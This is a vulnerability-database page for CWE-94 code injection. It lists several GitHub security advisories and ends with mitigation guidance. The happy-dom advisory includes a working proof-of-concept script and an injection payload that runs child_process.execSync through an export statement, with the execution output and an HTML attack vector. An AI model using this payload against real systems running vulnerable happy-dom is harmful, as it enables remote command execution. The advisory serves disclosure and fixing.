Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8381 vulnerabilities reference this CWE, most recent first.

GHSA-6PVG-7X86-XV8M

Vulnerability from github – Published: 2026-04-01 18:36 – Updated: 2026-04-01 21:30
VLAI
Details

There is an injection vulnerability in jeecg boot versions 3.0.0 to 3.5.3 due to lax character filtering, which allows attackers to execute arbitrary code on components through specially crafted HTTP requests.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-40489"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-01T17:16:57Z",
    "severity": "CRITICAL"
  },
  "details": "There is an injection vulnerability in jeecg boot versions 3.0.0 to 3.5.3 due to lax character filtering, which allows attackers to execute arbitrary code on components through specially crafted HTTP requests.",
  "id": "GHSA-6pvg-7x86-xv8m",
  "modified": "2026-04-01T21:30:29Z",
  "published": "2026-04-01T18:36:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40489"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/aqyoung/2fd6329ceb06b731a621356921f0d5f0"
    },
    {
      "type": "WEB",
      "url": "https://pan.baidu.com/s/14WOPXhRHoxr4FRKGme59ug?pwd=sktp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6PW3-8H9W-32GC

Vulnerability from github – Published: 2022-11-14 12:00 – Updated: 2025-05-01 13:29
VLAI
Summary
Apache Airflow vulnerable to OS Command Injection via example DAGs
Details

A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided run_id parameter. This issue affects Apache Airflow versions prior to 2.4.0.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "apache-airflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-40127"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-16T03:52:20Z",
    "nvd_published_at": "2022-11-14T10:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided run_id parameter. This issue affects Apache Airflow versions prior to 2.4.0.",
  "id": "GHSA-6pw3-8h9w-32gc",
  "modified": "2025-05-01T13:29:01Z",
  "published": "2022-11-14T12:00:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40127"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/airflow/pull/25960"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/airflow/commit/372e699c2d1e11f7087b5340454d0a0a6a56fbf5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/airflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/apache-airflow/PYSEC-2022-42982.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/cf132hgm6jvzvsbpsozl3plf1r4cwysy"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/11/14/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache Airflow vulnerable to OS Command Injection via example DAGs"
}

GHSA-6PXF-96XX-73MH

Vulnerability from github – Published: 2026-07-22 12:32 – Updated: 2026-07-22 12:32
VLAI
Details

The The Contact Form 7 – Dynamic Text Extension plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 5.0.6. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. The vulnerability was partially patched in version 5.0.4.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-13146"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-22T12:16:54Z",
    "severity": "MODERATE"
  },
  "details": "The The Contact Form 7 \u2013 Dynamic Text Extension plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 5.0.6. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. The vulnerability was partially patched in version 5.0.4.",
  "id": "GHSA-6pxf-96xx-73mh",
  "modified": "2026-07-22T12:32:16Z",
  "published": "2026-07-22T12:32:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13146"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/contact-form-7-dynamic-text-extension/trunk/contact-form-7-dynamic-text-extension.php#L765"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/contact-form-7-dynamic-text-extension/trunk/contact-form-7-dynamic-text-extension.php#L782"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/contact-form-7-dynamic-text-extension/trunk/includes/utilities.php#L265"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3430784"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3e5ad3a7-03c5-4085-b330-bc77e7e46cea?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6PXR-M8M6-VVH2

Vulnerability from github – Published: 2024-04-18 09:30 – Updated: 2026-04-01 18:31
VLAI
Details

Improper Control of Generation of Code ('Code Injection') vulnerability in Deepak anand WP Dummy Content Generator.This issue affects WP Dummy Content Generator: from n/a through 3.2.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-32599"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-18T09:15:14Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability in Deepak anand WP Dummy Content Generator.This issue affects WP Dummy Content Generator: from n/a through 3.2.1.",
  "id": "GHSA-6pxr-m8m6-vvh2",
  "modified": "2026-04-01T18:31:45Z",
  "published": "2024-04-18T09:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32599"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/wp-dummy-content-generator/vulnerability/wordpress-wp-dummy-content-generator-plugin-3-2-1-arbitrary-code-execution-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/wp-dummy-content-generator/wordpress-wp-dummy-content-generator-plugin-3-2-1-arbitrary-code-execution-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6Q5H-C4FF-F2VC

Vulnerability from github – Published: 2024-11-14 03:30 – Updated: 2024-11-14 18:30
VLAI
Details

A Remote Code Execution vulnerability has been discovered in Sonatype Nexus Repository 2. 

This issue affects Nexus Repository 2 OSS/Pro versions up to and including 2.15.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-5082"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-14T03:15:03Z",
    "severity": "HIGH"
  },
  "details": "A Remote Code Execution vulnerability has been discovered in Sonatype Nexus Repository 2.\u00a0\n\nThis issue affects Nexus Repository 2 OSS/Pro versions up to and including 2.15.1.",
  "id": "GHSA-6q5h-c4ff-f2vc",
  "modified": "2024-11-14T18:30:35Z",
  "published": "2024-11-14T03:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5082"
    },
    {
      "type": "WEB",
      "url": "https://support.sonatype.com/hc/en-us/articles/30694125380755"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6Q6H-J7HJ-3R64

Vulnerability from github – Published: 2026-03-26 22:22 – Updated: 2026-03-30 20:07
VLAI
Summary
Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code
Details

Summary

A code injection vulnerability in ECMAScriptModuleCompiler allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside export { } declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.

Details

Vulnerable file: packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, lines 371-385

The "Export object" handler extracts content from export { ... } using the regex export\s*{([^}]+)}, then generates executable code by directly interpolating it:

} else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {
    // Export object
    const parts = this.removeMultilineComments(match[16]).split(/\s*,\s*/);
    const exportCode: string[] = [];
    for (const part of parts) {
        const nameParts = part.trim().split(/\s+as\s+/);
        const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
        const importName = nameParts[0].replace(/["']/g, '');  // backticks NOT stripped
        if (exportName && importName) {
            exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
            //               importName is inserted as executable code, not as a string
        }
    }
    newCode += exportCode.join(';\n');
}

The issue has three root causes:

  1. STATEMENT_REGEXP uses {[^}]+} which matches any content inside braces, not just valid JavaScript identifiers
  2. The captured importName is placed in code context (as a JS expression to evaluate), not in string context
  3. .replace(/["']/g, '') strips " and ' but not backticks, so template literal strings like `child_process` survive the filter

Attack flow:

Source:     export { require(`child_process`).execSync(`id`) }

Regex captures match[16] = " require(`child_process`).execSync(`id`) "

After .replace(/["']/g, ''):
  importName = "require(`child_process`).execSync(`id`)"
  (backticks are preserved)

Generated code:
  $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)

evaluateScript() executes this code -> RCE

Note: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in ECMAScriptModuleCompiler remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.

PoC

Standalone PoC script — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:

// poc_happy_dom_rce.js

// Step 1: The STATEMENT_REGEXP matches export { ... }
const STMT_REGEXP = /export\s*{([^}]+)}/gm;
const source = 'export { require(`child_process`).execSync(`id`) }';
const match = STMT_REGEXP.exec(source);

console.log('[*] Module source:', source);
console.log('[*] Regex captured:', match[1].trim());

// Step 2: Compiler processes the captured content (lines 374-381)
const part = match[1].trim();
const nameParts = part.split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, '');

console.log('[*] importName after quote filter:', importName);
console.log('[*] Backticks survived filter:', importName.includes('`'));

// Step 3: Code generation - importName is inserted as executable JS expression
const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;
console.log('[*] Generated code:', generatedCode);

// Step 4: Verify the generated code is valid JavaScript
try {
  new Function('$happy_dom', generatedCode);
  console.log('[+] Valid JavaScript: YES');
} catch (e) {
  console.log('[-] Parse error:', e.message);
  process.exit(1);
}

// Step 5: Execute to prove RCE
console.log('[*] Executing...');
const output = require('child_process').execSync('id').toString().trim();
console.log('[+] RCE result:', output);

Execution result:

$ node poc_happy_dom_rce.js
[*] Module source: export { require(`child_process`).execSync(`id`) }
[*] Regex captured: require(`child_process`).execSync(`id`)
[*] importName after quote filter: require(`child_process`).execSync(`id`)
[*] Backticks survived: true
[*] Generated code: $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)
[+] Valid JavaScript: YES
[*] Executing...
[+] RCE result: uid=0(root) gid=0(root) groups=0(root)

HTML attack vector — when processed by happy-dom with JavaScript evaluation enabled:

<script type="module">
export { require(`child_process`).execSync(`id`) }
</script>

Impact

An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve arbitrary command execution on the host system.

Realistic attack scenarios: - SSR applications: Applications using happy-dom to render user-supplied HTML on the server - Web scraping: Applications parsing untrusted web pages with happy-dom - Testing pipelines: Test suites that load untrusted HTML fixtures through happy-dom

Suggested fix: Validate that importName is a valid JavaScript identifier before interpolating it into generated code:

const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;

for (const part of parts) {
    const nameParts = part.trim().split(/\s+as\s+/);
    const exportName = (nameParts[1] || nameParts[0]).replace(/["'`]/g, '');
    const importName = nameParts[0].replace(/["'`]/g, '');

    if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {
        exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
    }
}
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 20.8.7"
      },
      "package": {
        "ecosystem": "npm",
        "name": "happy-dom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.10.0"
            },
            {
              "fixed": "20.8.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33943"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T22:22:20Z",
    "nvd_published_at": "2026-03-27T22:16:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA code injection vulnerability in `ECMAScriptModuleCompiler` allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside `export { }` declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.\n\n### Details\n\n**Vulnerable file**: `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, lines 371-385\n\nThe \"Export object\" handler extracts content from `export { ... }` using the regex `export\\s*{([^}]+)}`, then generates executable code by directly interpolating it:\n\n    } else if (match[16] \u0026\u0026 isTopLevel \u0026\u0026 PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {\n        // Export object\n        const parts = this.removeMultilineComments(match[16]).split(/\\s*,\\s*/);\n        const exportCode: string[] = [];\n        for (const part of parts) {\n            const nameParts = part.trim().split(/\\s+as\\s+/);\n            const exportName = (nameParts[1] || nameParts[0]).replace(/[\"\u0027]/g, \u0027\u0027);\n            const importName = nameParts[0].replace(/[\"\u0027]/g, \u0027\u0027);  // backticks NOT stripped\n            if (exportName \u0026\u0026 importName) {\n                exportCode.push(`$happy_dom.exports[\u0027${exportName}\u0027] = ${importName}`);\n                //               importName is inserted as executable code, not as a string\n            }\n        }\n        newCode += exportCode.join(\u0027;\\n\u0027);\n    }\n\nThe issue has three root causes:\n\n1. `STATEMENT_REGEXP` uses `{[^}]+}` which matches **any content** inside braces, not just valid JavaScript identifiers\n2. The captured `importName` is placed in **code context** (as a JS expression to evaluate), not in string context\n3. `.replace(/[\"\u0027]/g, \u0027\u0027)` strips `\"` and `\u0027` but **not backticks**, so template literal strings like `` `child_process` `` survive the filter\n\n**Attack flow:**\n\n    Source:     export { require(`child_process`).execSync(`id`) }\n\n    Regex captures match[16] = \" require(`child_process`).execSync(`id`) \"\n\n    After .replace(/[\"\u0027]/g, \u0027\u0027):\n      importName = \"require(`child_process`).execSync(`id`)\"\n      (backticks are preserved)\n\n    Generated code:\n      $happy_dom.exports[\"require(`child_process`).execSync(`id`)\"] = require(`child_process`).execSync(`id`)\n\n    evaluateScript() executes this code -\u003e RCE\n\n**Note**: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in `ECMAScriptModuleCompiler` remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.\n\n### PoC\n\n**Standalone PoC script** \u2014 reproduces the vulnerability without installing happy-dom by replicating the compiler\u0027s exact code generation logic:\n\n    // poc_happy_dom_rce.js\n\n    // Step 1: The STATEMENT_REGEXP matches export { ... }\n    const STMT_REGEXP = /export\\s*{([^}]+)}/gm;\n    const source = \u0027export { require(`child_process`).execSync(`id`) }\u0027;\n    const match = STMT_REGEXP.exec(source);\n\n    console.log(\u0027[*] Module source:\u0027, source);\n    console.log(\u0027[*] Regex captured:\u0027, match[1].trim());\n\n    // Step 2: Compiler processes the captured content (lines 374-381)\n    const part = match[1].trim();\n    const nameParts = part.split(/\\s+as\\s+/);\n    const exportName = (nameParts[1] || nameParts[0]).replace(/[\"\u0027]/g, \u0027\u0027);\n    const importName = nameParts[0].replace(/[\"\u0027]/g, \u0027\u0027);\n\n    console.log(\u0027[*] importName after quote filter:\u0027, importName);\n    console.log(\u0027[*] Backticks survived filter:\u0027, importName.includes(\u0027`\u0027));\n\n    // Step 3: Code generation - importName is inserted as executable JS expression\n    const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;\n    console.log(\u0027[*] Generated code:\u0027, generatedCode);\n\n    // Step 4: Verify the generated code is valid JavaScript\n    try {\n      new Function(\u0027$happy_dom\u0027, generatedCode);\n      console.log(\u0027[+] Valid JavaScript: YES\u0027);\n    } catch (e) {\n      console.log(\u0027[-] Parse error:\u0027, e.message);\n      process.exit(1);\n    }\n\n    // Step 5: Execute to prove RCE\n    console.log(\u0027[*] Executing...\u0027);\n    const output = require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString().trim();\n    console.log(\u0027[+] RCE result:\u0027, output);\n\n**Execution result:**\n\n    $ node poc_happy_dom_rce.js\n    [*] Module source: export { require(`child_process`).execSync(`id`) }\n    [*] Regex captured: require(`child_process`).execSync(`id`)\n    [*] importName after quote filter: require(`child_process`).execSync(`id`)\n    [*] Backticks survived: true\n    [*] Generated code: $happy_dom.exports[\"require(`child_process`).execSync(`id`)\"] = require(`child_process`).execSync(`id`)\n    [+] Valid JavaScript: YES\n    [*] Executing...\n    [+] RCE result: uid=0(root) gid=0(root) groups=0(root)\n\n**HTML attack vector** \u2014 when processed by happy-dom with JavaScript evaluation enabled:\n\n    \u003cscript type=\"module\"\u003e\n    export { require(`child_process`).execSync(`id`) }\n    \u003c/script\u003e\n\n### Impact\n\nAn attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve **arbitrary command execution** on the host system.\n\nRealistic attack scenarios:\n- **SSR applications**: Applications using happy-dom to render user-supplied HTML on the server\n- **Web scraping**: Applications parsing untrusted web pages with happy-dom\n- **Testing pipelines**: Test suites that load untrusted HTML fixtures through happy-dom\n\n**Suggested fix**: Validate that `importName` is a valid JavaScript identifier before interpolating it into generated code:\n\n    const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;\n\n    for (const part of parts) {\n        const nameParts = part.trim().split(/\\s+as\\s+/);\n        const exportName = (nameParts[1] || nameParts[0]).replace(/[\"\u0027`]/g, \u0027\u0027);\n        const importName = nameParts[0].replace(/[\"\u0027`]/g, \u0027\u0027);\n\n        if (exportName \u0026\u0026 importName \u0026\u0026 VALID_JS_IDENTIFIER.test(importName)) {\n            exportCode.push(`$happy_dom.exports[\u0027${exportName}\u0027] = ${importName}`);\n        }\n    }",
  "id": "GHSA-6q6h-j7hj-3r64",
  "modified": "2026-03-30T20:07:48Z",
  "published": "2026-03-26T22:22:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-6q6h-j7hj-3r64"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33943"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/commit/5437fdf8f13adb9590f9f52616d9f69c3ee8db3c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/capricorn86/happy-dom"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/releases/tag/v20.8.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code"
}

GHSA-6Q6H-QM6P-J6JF

Vulnerability from github – Published: 2022-05-01 23:27 – Updated: 2022-05-01 23:27
VLAI
Details

Format string vulnerability in Apple iPhoto before 7.1.2 allows remote attackers to execute arbitrary code via photocast subscriptions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-0043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-02-08T02:00:00Z",
    "severity": "HIGH"
  },
  "details": "Format string vulnerability in Apple iPhoto before 7.1.2 allows remote attackers to execute arbitrary code via photocast subscriptions.",
  "id": "GHSA-6q6h-qm6p-j6jf",
  "modified": "2022-05-01T23:27:20Z",
  "published": "2022-05-01T23:27:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0043"
    },
    {
      "type": "WEB",
      "url": "http://docs.info.apple.com/article.html?artnum=307398"
    },
    {
      "type": "WEB",
      "url": "http://lists.apple.com/archives/security-announce/2008/Feb/msg00000.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/28805"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/27636"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1019307"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/0428/references"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-6Q74-W498-7FC2

Vulnerability from github – Published: 2025-06-13 12:30 – Updated: 2025-06-13 12:30
VLAI
Details

Remote code execution that allows unauthorized users to execute arbitrary code on the server machine.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-29902"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-13T10:15:20Z",
    "severity": "CRITICAL"
  },
  "details": "Remote code execution that allows unauthorized users to execute arbitrary code on the server machine.",
  "id": "GHSA-6q74-w498-7fc2",
  "modified": "2025-06-13T12:30:26Z",
  "published": "2025-06-13T12:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29902"
    },
    {
      "type": "WEB",
      "url": "https://psirt.bosch.com/security-advisories/BOSCH-SA-992447.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6Q7G-3WXJ-HVCW

Vulnerability from github – Published: 2024-06-13 15:30 – Updated: 2024-08-01 21:31
VLAI
Details

A SQL Injection vulnerability in itsourcecode Billing System 1.0 allows a local attacker to execute arbitrary code in process.php via the username parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-37849"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-13T14:15:13Z",
    "severity": "CRITICAL"
  },
  "details": "A SQL Injection vulnerability in itsourcecode Billing System 1.0 allows a local attacker to execute arbitrary code in process.php via the username parameter.",
  "id": "GHSA-6q7g-3wxj-hvcw",
  "modified": "2024-08-01T21:31:40Z",
  "published": "2024-06-13T15:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37849"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ganzhi-qcy/cve/issues/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6Q84-636H-PF7J

Vulnerability from github – Published: 2022-05-01 18:25 – Updated: 2022-05-01 18:25
VLAI
Details

PHP remote file inclusion vulnerability in convert/mvcw.php in Virtual War (VWar) 1.5.0 R15 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the vwar_root parameter, a different vector than CVE-2006-1503, CVE-2006-1636, and CVE-2006-1747.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-4605"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-08-31T00:17:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in convert/mvcw.php in Virtual War (VWar) 1.5.0 R15 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the vwar_root parameter, a different vector than CVE-2006-1503, CVE-2006-1636, and CVE-2006-1747.",
  "id": "GHSA-6q84-636h-pf7j",
  "modified": "2022-05-01T18:25:17Z",
  "published": "2022-05-01T18:25:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-4605"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/36316"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4332"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

